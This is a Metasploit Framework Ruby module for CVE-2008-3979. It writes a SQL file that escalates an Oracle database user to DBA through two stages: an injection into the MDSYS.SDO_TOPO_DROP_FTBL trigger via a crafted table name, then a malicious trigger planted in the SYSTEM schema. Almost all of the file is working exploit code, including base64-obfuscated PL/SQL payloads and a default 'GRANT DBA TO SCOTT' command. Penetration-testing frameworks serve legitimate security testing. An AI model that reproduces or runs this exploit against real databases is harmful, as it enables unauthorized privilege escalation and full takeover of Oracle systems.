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##
# $Id: droptable_trigger.rb
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'SQL Injection in MDSYS.SDO_TOPO_DROP_FTBL Trigger.',
'Description' => %q{
This module will escalate a Oracle DB user to MDSYS by exploiting an sql injection bug in
the MDSYS.SDO_TOPO_DROP_FTBL trigger. After that exploit escalate user to DBA using "CREATE ANY TRIGGER" privilege
given to MDSYS user by creating evil trigger in system scheme (2-stage attack).
},
'Author' => [ 'Sh2kerr <research[ad]dsec.ru>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision:$',
'References' =>
[
[ 'CVE', '2008-3979' ],
[ 'URL', 'http://www.securityfocus.com/archive/1/500061' ],
[ 'URL', 'http://www.ngssoftware.com/' ],
],
'DisclosureDate' => 'Jan 13 2009'))
register_options(
[
OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']),
OptString.new('USER', [ false, 'The current user. ', 'SCOTT']),
OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']),
OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']),
], self.class)
end
def run
name1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
name2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand4 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand5 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
function1 = %Q|
CREATE OR REPLACE PROCEDURE #{name1}
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN EXECUTE IMMEDIATE '#{datastore['SQL']}';
END;
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function2 = %Q|
CREATE OR REPLACE FUNCTION #{name2} RETURN number AUTHID CURRENT_USER is
PRAGMA AUTONOMOUS_TRANSACTION;
STMT VARCHAR2(400):= 'create or replace trigger system.evil_trigger before insert on system.DEF$_TEMP$LOB DECLARE msg VARCHAR2(10);
BEGIN #{datastore['USER']}.#{name1};
end evil_trigger;';
BEGIN
EXECUTE IMMEDIATE STMT;
COMMIT;
RETURN 1;
END;
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prepare ="create table \"O' and 1=#{datastore['USER']}.#{name2}--\"(id number)"
exploiting1 ="drop table \"O' and 1=#{datastore['USER']}.#{name2}--\""
exploiting2 = "insert into system.DEF$_TEMP$LOB (TEMP$BLOB) VALUES ('AA')"
fun1 = Rex::Text.encode_base64(function1)
fun2 = Rex::Text.encode_base64(function2)
prp = Rex::Text.encode_base64(prepare)
exp1 = Rex::Text.encode_base64(exploiting1)
exp2 = Rex::Text.encode_base64(exploiting2)
sql = %Q|
DECLARE
#{rand1} VARCHAR2(32767);
#{rand2} VARCHAR2(32767);
#{rand3} VARCHAR2(32767);
#{rand4} VARCHAR2(32767);
#{rand5} VARCHAR2(32767);
BEGIN
#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun1}')));
EXECUTE IMMEDIATE #{rand1};
EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name1} TO PUBLIC';
#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun2}')));
EXECUTE IMMEDIATE #{rand2};
EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name2} TO PUBLIC';
#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{prp}')));
EXECUTE IMMEDIATE #{rand3};
#{rand4} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp1}')));
EXECUTE IMMEDIATE #{rand4};
#{rand5} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp2}')));
EXECUTE IMMEDIATE #{rand5};
END;
/
DROP FUNCTION #{name1};
DROP FUNCTION #{name2};
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print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sql)
end
end
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